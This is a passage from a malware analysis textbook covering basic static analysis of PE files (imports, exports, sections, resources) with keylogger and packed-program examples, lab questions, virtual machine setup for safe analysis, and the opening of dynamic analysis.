idea about what the executable does. Microsoft does an excellent job of
documenting the Windows API through the Microsoft Developer Network
(MSDN) library. (You’ll also find a list of functions commonly used by mal-
ware in Appendix A.)
Exported Functions
Like imports, DLLs and EXEs export functions to interact with other pro-
grams and code. Typically, a DLL implements one or more functions and
exports them for use by an executable that can then import and use them.
The PE file contains information about which functions a file exports.
Because DLLs are specifically implemented to provide functionality used by
EXEs, exported functions are most common in DLLs. EXEs are not designed
to provide functionality for other EXEs, and exported functions are rare.
If you discover exports in an executable, they often will provide useful
information.
In many cases, software authors name their exported functions in a
way that provides useful information. One common convention is to use the
name used in the Microsoft documentation. For example, in order to run a
program as a service, you must first define a ServiceMain function. The pres-
ence of an exported function called ServiceMain tells you that the malware
runs as part of a service.
Unfortunately, while the Microsoft documentation calls this function
ServiceMain, and it’s common for programmers to do the same, the function
can have any name. Therefore, the names of exported functions are actually
of limited use against sophisticated malware. If malware uses exports, it will
often either omit names entirely or use unclear or misleading names.
You can view export information using the Dependency Walker program
discussed in “Exploring Dynamically Linked Functions with Dependency
Walker” on page 16. For a list of exported functions, click the name of the
file you want to examine. Referring back to Figure 1-6, window shows all of
a file’s exported functions.
Static Analysis in Practice
Now that you understand the basics of static analysis, let’s examine some real
malware. We’ll look at a potential keylogger and then a packed program.
PotentialKeylogger.exe: An Unpacked Executable
Table 1-2 shows an abridged list of functions imported by PotentialKeylogger.exe,
as collected using Dependency Walker. Because we see so many imports, we
can immediately conclude that this file is not packed.
Basic Static Techniques
19
Like most average-sized programs, this executable contains a large num-
ber of imported functions. Unfortunately, only a small minority of those
functions are particularly interesting for malware analysis. Throughout this
book, we will cover the imports for malicious software, focusing on the most
interesting functions from a malware analysis standpoint.
When you are not sure what a function does, you will need to look it up.
To help guide your analysis, Appendix A lists many of the functions of great-
est interest to malware analysts. If a function is not listed in Appendix A,
search for it on MSDN online.
As a new analyst, you will spend time looking up many functions that
aren’t very interesting, but you’ll quickly start to learn which functions could
be important and which ones are not. For the purposes of this example, we
will show you a large number of imports that are uninteresting, so you can
Table 1-2: An Abridged List of DLLs and Functions Imported from PotentialKeylogger.exe
Kernel32.dll
User32.dll
User32.dll (continued)
CreateDirectoryW
BeginDeferWindowPos
ShowWindow
CreateFileW
CallNextHookEx
ToUnicodeEx
CreateThread
CreateDialogParamW
TrackPopupMenu
DeleteFileW
CreateWindowExW
TrackPopupMenuEx
ExitProcess
DefWindowProcW
TranslateMessage
FindClose
DialogBoxParamW
UnhookWindowsHookEx
FindFirstFileW
EndDialog
UnregisterClassW
FindNextFileW
GetMessageW
UnregisterHotKey
GetCommandLineW
GetSystemMetrics
GetCurrentProcess
GetWindowLongW
GDI32.dll
GetCurrentThread
GetWindowRect
GetStockObject
GetFileSize
GetWindowTextW
SetBkMode
GetModuleHandleW
InvalidateRect
SetTextColor
GetProcessHeap
IsDlgButtonChecked
GetShortPathNameW
IsWindowEnabled
Shell32.dll
HeapAlloc
LoadCursorW
CommandLineToArgvW
HeapFree
LoadIconW
SHChangeNotify
IsDebuggerPresent
LoadMenuW
SHGetFolderPathW
MapViewOfFile
MapVirtualKeyW
ShellExecuteExW
OpenProcess
MapWindowPoints
ShellExecuteW
ReadFile
MessageBoxW
SetFilePointer
RegisterClassExW
Advapi32.dll
WriteFile
RegisterHotKey
RegCloseKey
SendMessageA
RegDeleteValueW
SetClipboardData
RegOpenCurrentUser
SetDlgItemTextW
RegOpenKeyExW
SetWindowTextW
RegQueryValueExW
SetWindowsHookExW
RegSetValueExW
20
Chapter 1
become familiar with looking at a lot of data and focusing on some key nug-
gets of information.
Normally, we wouldn’t know that this malware is a potential keylogger,
and we would need to look for functions that provide the clues. We will be
focusing on only the functions that provide hints to the functionality of the
program.
The imports from Kernel32.dll in Table 1-2 tell us that this software can
open and manipulate processes (such as OpenProcess, GetCurrentProcess, and
GetProcessHeap) and files (such as ReadFile, CreateFile, and WriteFile). The
functions FindFirstFile and FindNextFile are particularly interesting ones that
we can use to search through directories.
The imports from User32.dll are even more interesting. The large num-
ber of GUI manipulation functions (such as RegisterClassEx, SetWindowText,
and ShowWindow) indicates a high likelihood that this program has a GUI
(though the GUI is not necessarily displayed to the user).
The function SetWindowsHookEx is commonly used in spyware and is the
most popular way that keyloggers receive keyboard inputs. This function has
some legitimate uses, but if you suspect malware and you see this function,
you are probably looking at keylogging functionality.
The function RegisterHotKey is also interesting. It registers a hotkey (such
as CTRL-SHIFT-P) so that whenever the user presses that hotkey combination,
the application is notified. No matter which application is currently active, a
hotkey will bring the user to this application.
The imports from GDI32.dll are graphics-related and simply confirm that
the program probably has a GUI. The imports from Shell32.dll tell us that this
program can launch other programs—a feature common to both malware
and legitimate programs.
The imports from Advapi32.dll tell us that this program uses the registry,
which in turn tells us that we should search for strings that look like registry
keys. Registry strings look a lot like directories. In this case, we found the
string Software\Microsoft\Windows\CurrentVersion\Run, which is a registry key
(commonly used by malware) that controls which programs are automati-
cally run when Windows starts up.
This executable also has several exports: LowLevelKeyboardProc and
LowLevelMouseProc. Microsoft’s documentation says, “The LowLevelKeyboardProc
hook procedure is an application-defined or library-defined callback func-
tion used with the SetWindowsHookEx function.” In other words, this function
is used with SetWindowsHookEx to specify which function will be called when a
specified event occurs—in this case, the low-level keyboard event. The docu-
mentation for SetWindowsHookEx further explains that this function will be
called when certain low-level keyboard events occur.
The Microsoft documentation uses the name LowLevelKeyboardProc, and
the programmer in this case did as well. We were able to get valuable infor-
mation because the programmer didn’t obscure the name of an export.
Using the information gleaned from a static analysis of these imports
and exports, we can draw some significant conclusions or formulate some
hypotheses about this malware. For one, it seems likely that this is a local
keylogger that uses SetWindowsHookEx to record keystrokes. We can also
Basic Static Techniques
21
surmise that it has a GUI that is displayed only to a specific user, and that the
hotkey registered with RegisterHotKey specifies the hotkey that the malicious
user enters to see the keylogger GUI and access recorded keystrokes. We can
further speculate from the registry function and the existence of Software\
Microsoft\Windows\CurrentVersion\Run that this program sets itself to load at
system startup.
PackedProgram.exe: A Dead End
Table 1-3 shows a complete list of the functions imported by a second piece
of unknown malware. The brevity of this list tells us that this program is
packed or obfuscated, which is further confirmed by the fact that this program
has no readable strings. A Windows compiler would not create a program
that imports such a small number of functions; even a Hello, World program
would have more.
The fact that this program is packed is a valuable piece of information,
but its packed nature also prevents us from learning anything more about
the program using basic static analysis. We’ll need to try more advanced anal-
ysis techniques such as dynamic analysis (covered in Chapter 3) or unpack-
ing (covered in Chapter 18).
The PE File Headers and Sections
PE file headers can provide considerably more information than just imports.
The PE file format contains a header followed by a series of sections. The
header contains metadata about the file itself. Following the header are the
actual sections of the file, each of which contains useful information. As we
progress through the book, we will continue to discuss strategies for viewing
the information in each of these sections. The following are the most com-
mon and interesting sections in a PE file:
.text
The .text section contains the instructions that the CPU exe-
cutes. All other sections store data and supporting information. Gener-
ally, this is the only section that can execute, and it should be the only
section that includes code.
.rdata
The .rdata section typically contains the import and export infor-
mation, which is the same information available from both Dependency
Table 1-3: DLLs and Functions Imported from PackedProgram.exe
Kernel32.dll
User32.dll
GetModuleHandleA
MessageBoxA
LoadLibraryA
GetProcAddress
ExitProcess
VirtualAlloc
VirtualFree
22
Chapter 1
Walker and PEview. This section can also store other read-only data used
by the program. Sometimes a file will contain an .idata and .edata section,
which store the import and export information (see Table 1-4).
.data
The .data section contains the program’s global data, which is
accessible from anywhere in the program. Local data is not stored in
this section, or anywhere else in the PE file. (We address this topic in
Chapter 6.)
.rsrc
The .rsrc section includes the resources used by the executable
that are not considered part of the executable, such as icons, images,
menus, and strings. Strings can be stored either in the .rsrc section or
in the main program, but they are often stored in the .rsrc section for
multilanguage support.
Section names are often consistent across a compiler, but can vary across
different compilers. For example, Visual Studio uses .text for executable
code, but Borland Delphi uses CODE. Windows doesn’t care about the actual
name since it uses other information in the PE header to determine how a
section is used. Furthermore, the section names are sometimes obfuscated to
make analysis more difficult. Luckily, the default names are used most of the
time. Table 1-4 lists the most common you’ll encounter.
Examining PE Files with PEview
The PE file format stores interesting information within its header. We can use
the PEview tool to browse through the information, as shown in Figure 1-7.
In the figure, the left pane at displays the main parts of a PE header.
The IMAGE_FILE_HEADER entry is highlighted because it is currently selected.
The first two parts of the PE header—the IMAGE_DOS_HEADER and MS-DOS
Stub Program—are historical and offer no information of particular interest
to us.
The next section of the PE header, IMAGE_NT_HEADERS, shows the NT head-
ers. The signature is always the same and can be ignored.
The IMAGE_FILE_HEADER entry, highlighted and displayed in the right panel
at , contains basic information about the file. The Time Date Stamp
Table 1-4: Sections of a PE File for a Windows Executable
Executable
Description
.text
Contains the executable code
.rdata
Holds read-only data that is globally accessible within the program
.data
Stores global data accessed throughout the program
.idata
Sometimes present and stores the import function information; if this section is
not present, the import function information is stored in the .rdata section
.edata
Sometimes present and stores the export function information; if this section is not
present, the export function information is stored in the .rdata section
.pdata
Present only in 64-bit executables and stores exception-handling information
.rsrc
Stores resources needed by the executable
.reloc
Contains information for relocation of library files
Basic Static Techniques
23
description at tells us when this executable was compiled, which can be very
useful in malware analysis and incident response. For example, an old com-
pile time suggests that this is an older attack, and antivirus programs might
contain signatures for the malware. A new compile time suggests the reverse.
Figure 1-7: Viewing the IMAGE_FILE_HEADER in the PEview program
That said, the compile time is a bit problematic. All Delphi programs use
a compile time of June 19, 1992. If you see that compile time, you’re proba-
bly looking at a Delphi program, and you won’t really know when it was com-
piled. In addition, a competent malware writer can easily fake the compile
time. If you see a compile time that makes no sense, it probably was faked.
The IMAGE_OPTIONAL_HEADER section includes several important pieces of
information. The Subsystem description indicates whether this is a console
or GUI program. Console programs have the value IMAGE_SUBSYSTEM_WINDOWS_CUI
and run inside a command window. GUI programs have the value IMAGE_
SUBSYSTEM_WINDOWS_GUI and run within the Windows system. Less common sub-
systems such as Native or Xbox also are used.
The most interesting information comes from the section headers, which
are in IMAGE_SECTION_HEADER, as shown in Figure 1-8. These headers are used to
describe each section of a PE file. The compiler generally creates and names
the sections of an executable, and the user has little control over these names.
As a result, the sections are usually consistent from executable to executable
(see Table 1-4), and any deviations may be suspicious.
For example, in Figure 1-8, Virtual Size at tells us how much space is
allocated for a section during the loading process. The Size of Raw Data at
shows how big the section is on disk. These two values should usually be
equal, because data should take up just as much space on the disk as it does
in memory. Small differences are normal, and are due to differences between
alignment in memory and on disk.
The section sizes can be useful in detecting packed executables. For
example, if the Virtual Size is much larger than the Size of Raw Data, you
know that the section takes up more space in memory than it does on disk.
This is often indicative of packed code, particularly if the .text section is
larger in memory than on disk.
24
Chapter 1
Figure 1-8: Viewing the IMAGE_SECTION_HEADER .text section in the PEview program
Table 1-5 shows the sections from PotentialKeylogger.exe. As you can see,
the .text, .rdata, and .rsrc sections each has a Virtual Size and Size of Raw
Data value of about the same size. The .data section may seem suspicious
because it has a much larger virtual size than raw data size, but this is normal
for the .data section in Windows programs. But note that this information
alone does not tell us that the program is not malicious; it simply shows that it
is likely not packed and that the PE file header was generated by a compiler.
Table 1-6 shows the sections from PackedProgram.exe. The sections in this
file have a number of anomalies: The sections named Dijfpds, .sdfuok, and
Kijijl are unusual, and the .text, .data, and .rdata sections are suspicious.
The .text section has a Size of Raw Data value of 0, meaning that it takes up
no space on disk, and its Virtual Size value is A000, which means that space
will be allocated for the .text segment. This tells us that a packer will unpack
the executable code to the allocated .text section.
Table 1-5: Section Information for PotentialKeylogger.exe
Section
Virtual size
Size of raw data
.text
7AF5
7C00
.data
17A0
0200
.rdata
1AF5
1C00
.rsrc
72B8
7400
Table 1-6: Section Information for PackedProgram.exe
Name
Virtual size
Size of raw data
.text
A000
0000
.data
3000
0000
.rdata
4000
0000
.rsrc
19000
3400
Basic Static Techniques
25
Viewing the Resource Section with Resource Hacker
Now that we’re finished looking at the header for the PE file, we can look at
some of the sections. The only section we can examine without additional
knowledge from later chapters is the resource section. You can use the free
Resource Hacker tool found at http://www.angusj.com/ to browse the .rsrc
section. When you click through the items in Resource Hacker, you’ll see the
strings, icons, and menus. The menus displayed are identical to what the pro-
gram uses. Figure 1-9 shows the Resource Hacker display for the Windows
Calculator program, calc.exe.
Figure 1-9: The Resource Hacker tool display for calc.exe
The panel on the left shows all resources included in this executable.
Each root folder shown in the left pane at stores a different type of
resource. The informative sections for malware analysis include:
The Icon section lists images shown when the executable is in a file listing.
The Menu section stores all menus that appear in various windows, such
as the File, Edit, and View menus. This section contains the names of all
the menus, as well as the text shown for each. The names should give you
a good idea of their functionality.
The Dialog section contains the program’s dialog menus. The dialog at
shows what the user will see when running calc.exe. If we knew nothing
else about calc.exe, we could identify it as a calculator program simply by
looking at this dialog menu.
The String Table section stores strings.
The Version Info section contains a version number and often the com-
pany name and a copyright statement.
Dijfpds
20000
0000
.sdfuok
34000
3313F
Kijijl
1000
0200
Table 1-6: Section Information for PackedProgram.exe (continued)
Name
Virtual size
Size of raw data
26
Chapter 1
The .rsrc section shown in Figure 1-9 is typical of Windows applications
and can include whatever a programmer requires.
NOTE
Malware, and occasionally legitimate software, often store an embedded program or
driver here and, before the program runs, they extract the embedded executable or driver.
Resource Hacker lets you extract these files for individual analysis.
Using Other PE File Tools
Many other tools are available for browsing a PE header. Two of the most
useful tools are PEBrowse Professional and PE Explorer.
PEBrowse Professional (http://www.smidgeonsoft.prohosting.com/pebrowse-
pro-file-viewer.html) is similar to PEview. It allows you to look at the bytes from
each section and shows the parsed data. PEBrowse Professional does the bet-
ter job of presenting information from the resource (.rsrc) section.
PE Explorer (http://www.heaventools.com/) has a rich GUI that allows you
to navigate through the various parts of the PE file. You can edit certain parts
of the PE file, and its included resource editor is great for browsing and edit-
ing the file’s resources. The tool’s main drawback is that it is not free.
PE Header Summary
The PE header contains useful information for the malware analyst, and we
will continue to examine it in subsequent chapters. Table 1-7 reviews the key
information that can be obtained from a PE header.
Conclusion
Using a suite of relatively simple tools, we can perform static analysis on mal-
ware to gain a certain amount of insight into its function. But static analysis is
typically only the first step, and further analysis is usually necessary. The next
step is setting up a safe environment so you can run the malware and per-
form basic dynamic analysis, as you’ll see in the next two chapters.
Table 1-7: Information in the PE Header
Field
Information revealed
Imports
Functions from other libraries that are used by the malware
Exports
Functions in the malware that are meant to be called by other programs
or libraries
Time Date Stamp
Time when the program was compiled
Sections
Names of sections in the file and their sizes on disk and in memory
Subsystem
Indicates whether the program is a command-line or GUI application
Resources
Strings, icons, menus, and other information included in the file
Basic Static Techniques
27
L A B S
The purpose of the labs is to give you an opportunity to practice the skills
taught in the chapter. In order to simulate realistic malware analysis you will
be given little or no information about the program you are analyzing. Like
all of the labs throughout this book, the basic static analysis lab files have
been given generic names to simulate unknown malware, which typically use
meaningless or misleading names.
Each of the labs consists of a malicious file, a few questions, short answers
to the questions, and a detailed analysis of the malware. The solutions to the
labs are included in Appendix C.
The labs include two sections of answers. The first section consists of
short answers, which should be used if you did the lab yourself and just want
to check your work. The second section includes detailed explanations for
you to follow along with our solution and learn how we found the answers to
the questions posed in each lab.
Lab 1-1
This lab uses the files Lab01-01.exe and Lab01-01.dll. Use the tools and tech-
niques described in the chapter to gain information about the files and
answer the questions below.
Questions
1.
Upload the files to http://www.VirusTotal.com/ and view the reports. Does
either file match any existing antivirus signatures?
2.
When were these files compiled?
3.
Are there any indications that either of these files is packed or obfuscated?
If so, what are these indicators?
4.
Do any imports hint at what this malware does? If so, which imports
are they?
5.
Are there any other files or host-based indicators that you could look for
on infected systems?
6.
What network-based indicators could be used to find this malware on
infected machines?
7.
What would you guess is the purpose of these files?
Lab 1-2
Analyze the file Lab01-02.exe.
28
Chapter 1
Questions
1.
Upload the Lab01-02.exe file to http://www.VirusTotal.com/. Does it match
any existing antivirus definitions?
2.
Are there any indications that this file is packed or obfuscated? If so,
what are these indicators? If the file is packed, unpack it if possible.
3.
Do any imports hint at this program’s functionality? If so, which imports
are they and what do they tell you?
4.
What host- or network-based indicators could be used to identify this
malware on infected machines?
Lab 1-3
Analyze the file Lab01-03.exe.
Questions
1.
Upload the Lab01-03.exe file to http://www.VirusTotal.com/. Does it match
any existing antivirus definitions?
2.
Are there any indications that this file is packed or obfuscated? If so,
what are these indicators? If the file is packed, unpack it if possible.
3.
Do any imports hint at this program’s functionality? If so, which imports
are they and what do they tell you?
4.
What host- or network-based indicators could be used to identify this
malware on infected machines?
Lab 1-4
Analyze the file Lab01-04.exe.
Questions
1.
Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match
any existing antivirus definitions?
2.
Are there any indications that this file is packed or obfuscated? If so,
what are these indicators? If the file is packed, unpack it if possible.
3.
When was this program compiled?
4.
Do any imports hint at this program’s functionality? If so, which imports
are they and what do they tell you?
5.
What host- or network-based indicators could be used to identify this
malware on infected machines?
6.
This file has one resource in the resource section. Use Resource Hacker
to examine that resource, and then use it to extract the resource. What
can you learn from the resource?
M A L W A R E A N A L Y S I S I N
V I R T U A L M A C H I N E S
Before you can run malware to perform dynamic
analysis, you must set up a safe environment. Fresh
malware can be full of surprises, and if you run it on
a production machine, it can quickly spread to other
machines on the network and be very difficult to remove. A safe environment
will allow you to investigate the malware without exposing your machine or
other machines on the network to unexpected and unnecessary risk.
You can use dedicated physical or virtual machines to study malware
safely. Malware can be analyzed using individual physical machines on air-
gapped networks. These are isolated networks with machines that are discon-
nected from the Internet or any other networks to prevent the malware from
spreading.
Air-gapped networks allow you to run malware in a real environment
without putting other computers at risk. One disadvantage of this test sce-
nario, however, is the lack of an Internet connection. Many pieces of mal-
ware depend on a live Internet connection for updates, command and
control, and other features.
30
Chapter 2
Another disadvantage to analyzing malware on physical rather than vir-
tual machines is that malware can be difficult to remove. To avoid problems,
most people who test malware on physical machines use a tool such as Nor-
ton Ghost to manage backup images of their operating systems (OSs), which
they restore on their machines after they’ve completed their analysis.
The main advantage to using physical machines for malware analysis is
that malware can sometimes execute differently on virtual machines. As
you’re analyzing malware on a virtual machine, some malware can detect
that it’s being run in a virtual machine, and it will behave differently to
thwart analysis.
Because of the risks and disadvantages that come with using physical
machines to analyze malware, virtual machines are most commonly used for
dynamic analysis. In this chapter, we’ll focus on using virtual machines for
malware analysis.
The Structure of a Virtual Machine
Virtual machines are like a computer inside a computer, as illustrated in Fig-
ure 2-1. A guest OS is installed within the host OS on a virtual machine, and
the OS running in the virtual machine is kept isolated from the host OS.
Malware running on a virtual machine cannot harm the host OS. And if the
malware damages the virtual machine, you can simply reinstall the OS in the
virtual machine or return the virtual machine to a clean state.
Figure 2-1: Traditional applications run as shown in the left
column. The guest OS is contained entirely within the virtual
machine, and the virtual applications are contained within
the guest OS.
VMware offers a popular series of desktop virtualization products that
can be used for analyzing malware on virtual machines. VMware Player is free
and can be used to create and run virtual machines, but it lacks some fea-
tures necessary for effective malware analysis. VMware Workstation costs a
little under $200 and is generally the better choice for malware analysis. It
Application
Application
Application
Physical Machine
Virtual
Application
Virtual
Application
Virtual Machine
Guest OS
Host OS
Malware Analysis in Virtual Machines
31
includes features such as snapshotting, which allows you to save the current
state of a virtual machine, and the ability to clone or copy an existing virtual
machine.
There are many alternatives to VMware, such as Parallels, Microsoft Vir-
tual PC, Microsoft Hyper-V, and Xen. These vary in host and guest OS sup-
port and features. This book will focus on using VMware for virtualization,
but if you prefer another virtualization tool, you should still find this discus-
sion relevant.
Creating Your Malware Analysis Machine
Of course, before you can use a virtual machine for malware analysis, you
need to create one. This book is not specifically about virtualization, so we
won’t walk you through all of the details. When presented with options, your
best bet, unless you know that you have different requirements, is to choose
the default hardware configurations. Choose the hard drive size based on
your needs.
VMware uses disk space intelligently and will resize its virtual disk dynam-
ically based on your need for storage. For example, if you create a 20GB hard
drive but store only 4GB of data on it, VMware will shrink the size of the vir-
tual hard drive accordingly. A virtual drive size of 20GB is typically a good
beginning. That amount should be enough to store the guest OS and any
tools that you might need for malware analysis. VMware will make a lot of
choices for you and, in most cases, these choices will do the job.
Next, you’ll install your OS and applications. Most malware and malware
analysis tools run on Windows, so you will likely install Windows as your vir-
tual OS. As of this writing, Windows XP is still the most popular OS (surpris-
ingly) and the target for most malware. We’ll focus our explorations on
Windows XP.
After you’ve installed the OS, you can install any required applications.
You can always install applications later, but it is usually easier if you set up
everything at once. Appendix B has a list of useful applications for malware
analysis.
Next, you’ll install VMware Tools. From the VMware menu, select VM
Install VMware Tools to begin the installation. VMware Tools improves the
user experience by making the mouse and keyboard more responsive. It also
allows access to shared folders, drag-and-drop file transfer, and various other
useful features we’ll discuss in this chapter.
After you’ve installed VMware, it’s time for some configuration.
Configuring VMware
Most malware includes network functionality. For example, a worm will per-
form network attacks against other machines in an effort to spread itself. But
you would not want to allow a worm access to your own network, because it
could to spread to other computers.
32
Chapter 2
When analyzing malware, you will probably want to observe the malware’s
network activity to help you understand the author’s intention, to create sig-
natures, or to exercise the program fully. VMware offers several networking
options for virtual networking, as shown in Figure 2-2 and discussed in the
following sections.
Figure 2-2: Virtual network configuration options for a network adapter
Disconnecting the Network
Although you can configure a virtual machine to have no network connectiv-
ity, it’s usually not a good idea to disconnect the network. Doing so will be
useful only in certain cases. Without network connectivity, you won’t be able
to analyze malicious network activity.
Still, should you have reason to disconnect the network in VMware, you
can do so either by removing the network adapter from the virtual machine
or by disconnecting the network adapter from the network by choosing
VMRemovable Devices.
You can also control whether a network adapter is connected automati-
cally when the machine is turned on by checking the Connect at power on
checkbox (see Figure 2-2).
Setting Up Host-Only Networking
Host-only networking, a feature that creates a separate private LAN between the
host OS and the guest OS, is commonly used for malware analysis. A host-only
LAN is not connected to the Internet, which means that the malware is con-
tained within your virtual machine but allowed some network connectivity.
Malware Analysis in Virtual Machines
33
NOTE
When configuring your host computer, ensure that it is fully patched, as protection in
case the malware you’re testing tries to spread. It’s a good idea to configure a restrictive
firewall to the host from the virtual machine to help prevent the malware from spread-
ing to your host. The Microsoft firewall that comes with Windows XP Service Pack 2
and later is well documented and provides sufficient protection. Even if patches are
up to date, however, the malware could spread by using a zero-day exploit against the
host OS.
Figure 2-3 illustrates the network configuration for host-only networking.
When host-only networking is enabled, VMware creates a virtual network
adapter in the host and virtual machines, and connects the two without
touching the host’s physical network adapter. The host’s physical network
adapter is still connected to the Internet or other external network.
Figure 2-3: Host-only networking in VMware
switch. In this case, the host machine is still connected to the external
network, but not to the machine running the malware.
When using more than one virtual machine for analysis, you’ll find
it useful to combine the machines as a virtual machine team. When your
machines are joined as part of a virtual machine team, you will be able to
manage their power and network settings together. To create a new virtual
machine team, choose FileNewTeam.
Using Multiple Virtual Machines
One last configuration combines
the best of all options. It requires
multiple virtual machines linked
by a LAN but disconnected from
the Internet and host machine, so
that the malware is connected to a
network, but the network isn’t
connected to anything important.
Figure 2-4 shows a custom
configuration with two virtual
machines connected to each
other. In this configuration, one
virtual machine is set up to ana-
lyze malware, and the second
machine provides services. The
two virtual machines are con-
nected to the same VMNet virtual
Figure 2-4: Custom networking in VMware
External
Network
Virtual Machine
Host
Physical Machine
NIC
NIC
NIC
Host
Physical Machine
NIC
Services
Virtual Machine
NIC
Analysis
Virtual Machine
NIC
External
Network
VMNet
34
Chapter 2
Using Your Malware Analysis Machine
To exercise the functionality of your subject malware as much as possible, you
must simulate all network services on which the malware relies. For example,
malware commonly connects to an HTTP server to download additional mal-
ware. To observe this activity, you’ll need to give the malware access to a
Domain Name System (DNS) server to resolve the server’s IP address, as
well as an HTTP server to respond to requests. With the custom network
configuration just described, the machine providing services should be run-
ning the services required for the malware to communicate. (We’ll discuss a
variety of tools useful for simulating network services in the next chapter.)
Connecting Malware to the Internet
Sometimes you’ll want to connect your malware-running machine to the
Internet to provide a more realistic analysis environment, despite the obvi-
ous risks. The biggest risk, of course, is that your computer will perform
malicious activity, such as spreading malware to additional hosts, becoming a
node in a distributed denial-of-service attack, or simply spamming. Another
risk is that the malware writer could notice that you are connecting to the
malware server and trying to analyze the malware.
You should never connect malware to the Internet without first perform-
ing some analysis to determine what the malware might do when connected.
Then connect only if you are comfortable with the risks.
The most common way to connect a virtual machine to the Internet using
VMware is with a bridged network adapter, which allows the virtual machine to be
connected to the same network interface as the physical machine. Another
way to connect malware running on a virtual machine to the Internet is to
use VMware’s Network Address Translation (NAT) mode.
NAT mode shares the host’s IP connection to the Internet. The host
acts like a router and translates all requests from the virtual machine so
that they come from the host’s IP address. This mode is useful when the
host is connected to the network, but the network configuration makes it
difficult, if not impossible, to connect the virtual machine’s adapter to the
same network.
For example, if the host is using a wireless adapter, NAT mode can be
easily used to connect the virtual machine to the network, even if the wireless
network has Wi-Fi Protected Access (WPA) or Wired Equivalent Privacy (WEP)
enabled. Or, if the host adapter is connected to a network that allows only
certain network adapters to connect, NAT mode allows the virtual machine
to connect through the host, thereby avoiding the network’s access control
settings.
Connecting and Disconnecting Peripheral Devices
Peripheral devices, such as CD-ROMs and external USB storage drives, pose
a particular problem for virtual machines. Most devices can be connected
either to the physical machine or the virtual machine, but not both.
Malware Analysis in Virtual Machines
35
The VMware interface allows you to connect and disconnect external
devices to virtual machines. If you connect a USB device to a machine while
the virtual machine window is active, VMware will connect the USB device
to the guest and not the host, which may be undesirable, considering the
growing popularity of worms that spread via USB storage devices. To modify
this setting, choose VMSettingsUSB Controller and uncheck the Auto-
matically connect new USB devices checkbox to prevent USB devices from
being connected to the virtual machine.
Taking Snapshots
Taking snapshots is a concept unique to virtual machines. VMware’s virtual
machine snapshots allow you save a computer’s current state and return to
that point later, similar to a Windows restore point.
The timeline in Figure 2-5 illustrates how taking snapshots works. At 8:00
you take a snapshot of the computer. Shortly after that, you run the malware
sample. At 10:00, you revert to the snapshot. The OS, software, and other
components of the machine return to the same state they were in at 8:00,
and everything that occurred between 8:00 and 10:00 is erased as though it
never happened. As you can see, taking snapshots is an extremely powerful
tool. It’s like a built-in undo feature that saves you the hassle of needing to
reinstall your OS.
Figure 2-5: Snapshot timeline
After you’ve installed your OS and malware analysis tools, and you have
configured the network, take a snapshot. Use that snapshot as your base,
clean-slate snapshot. Next, run your malware, complete your analysis, and
then save your data and revert to the base snapshot, so that you can do it all
over again.
But what if you’re in the middle of analyzing malware and you want to do
something different with your virtual machine without erasing all of your
progress? VMware’s Snapshot Manager allows you to return to any snapshot
at any time, no matter which additional snapshots have been taken since
then or what has happened to the machine. In addition, you can branch
your snapshots so that they follow different paths. Take a look at the follow-
ing example workflow:
1.
While analyzing malware sample 1, you get frustrated and want to try
another sample.
2.
You take a snapshot of the malware analysis of sample 1.
3.
You return to the base image.
8:00
8:30
9:00
9:30
10:00
Snapshot
Taken
Launch
Malware
Malware Executing
Revert to
Snapshot
36
Chapter 2
4.
You begin to analyze malware sample 2.
5.
You take a snapshot to take a break.
When you return to your virtual machine, you can access either snapshot
at any time, as shown in Figure 2-6. The two machine states are completely
independent, and you can save as many snapshots as you have disk space.
Figure 2-6: VMware Snapshot Manager
Transferring Files from a Virtual Machine
One drawback of using snapshots is that any work undertaken on the virtual
machine is lost when you revert to an earlier snapshot. You can, however,
save your work before loading the earlier snapshot by transferring any files
that you want to keep to the host OS using VMware’s drag-and-drop feature.
As long as VMware Tools is installed in the guest OS and both systems are
running Windows, you should be able to drag and drop a file directly from
the guest OS to the host OS. This is the simplest and easiest way to transfer
files.
Another way to transfer your data is with VMware’s shared folders. A
shared folder is accessible from both the host and the guest OS, similar to a
shared Windows folder.
The Risks of Using VMware for Malware Analysis
Some malware can detect when it is running within a virtual machine, and
many techniques have been published to detect just such a situation. VMware
does not consider this a vulnerability and does not take explicit steps to avoid
Malware Analysis in Virtual Machines
37
detection, but some malware will execute differently when running on a vir-
tual machine to make life difficult for malware analysts. (Chapter 17 discusses
such anti-VMware techniques in more detail.)
And, like all software, VMware occasionally has vulnerabilities. These can
be exploited, causing the host OS to crash, or even used to run code on the
host OS. Although only few public tools or well-documented ways exist to
exploit VMware, vulnerabilities have been found in the shared folders fea-
ture, and tools have been released to exploit the drag-and-drop functionality.
Make sure that you keep your VMware version fully patched.
And, of course, even after you take all possible precautions, some risk is
always present when you’re analyzing malware. Whatever you do, and even
if you are running your analysis in a virtual machine, you should avoid per-
forming malware analysis on any critical or sensitive machine.
Record/Replay: Running Your Computer in Reverse
One of VMware’s more interesting features is record/replay. This feature in
VMware Workstation records everything that happens so that you can replay
the recording at a later time. The recording offers 100 percent fidelity; every
instruction that executed during the original recording is executed during a
replay. Even if the recording includes a one-in-a-million race condition that
you can’t replicate, it will be included in the replay.
VMware also has a movie-capture feature that records only the video out-
put, but record/replay actually executes the CPU instructions of the OS and
programs. And, unlike a movie, you can interrupt the execution at any point
to interact with the computer and make changes in the virtual machine. For
example, if you make a mistake in a program that lacks an undo feature, you
can restore your virtual machine to the point prior to that mistake to do
something different.
As we introduce more tools throughout this book, we’ll examine many
more powerful ways to use record/replay. We’ll return to this feature in
Chapter 8.
Conclusion
Running and analyzing malware using VMware and virtual machines involves
the following steps:
1.
Start with a clean snapshot with no malware running on it.
2.
Transfer the malware to the virtual machine.
3.
Conduct your analysis on the virtual machine.
4.
Take your notes, screenshots, and data from the virtual machine and
transfer it to the physical machine.
5.
Revert the virtual machine to the clean snapshot.
38
Chapter 2
As new malware analysis tools are released and existing tools are updated,
you will need to update your clean base image. Simply install the tools and
updates, and then take a new, clean snapshot.
To analyze malware, you usually need to run the malware to observe its
behavior. When running malware, you must be careful not to infect your
computer or networks. VMware allows you to run malware in a safe, control-
lable environment, and it provides the tools you need to clean the malware
when you have finished analyzing it.
Throughout this book, when we discuss running malware, we assume
that you are running the malware within a virtual machine.
B A S I C D Y N A M I C A N A L Y S I S
Dynamic analysis is any examination performed after
executing malware. Dynamic analysis techniques are
the second step in the malware analysis process.
Dynamic analysis is typically performed after basic
static analysis has reached a dead end, whether due to obfuscation, pack-
ing, or the analyst having exhausted the available static analysis techniques.
It can involve monitoring malware as it runs or examining the system after
the malware has executed.
Unlike static analysis, dynamic analysis lets you observe the malware’s
true functionality, because, for example, the existence of an action string
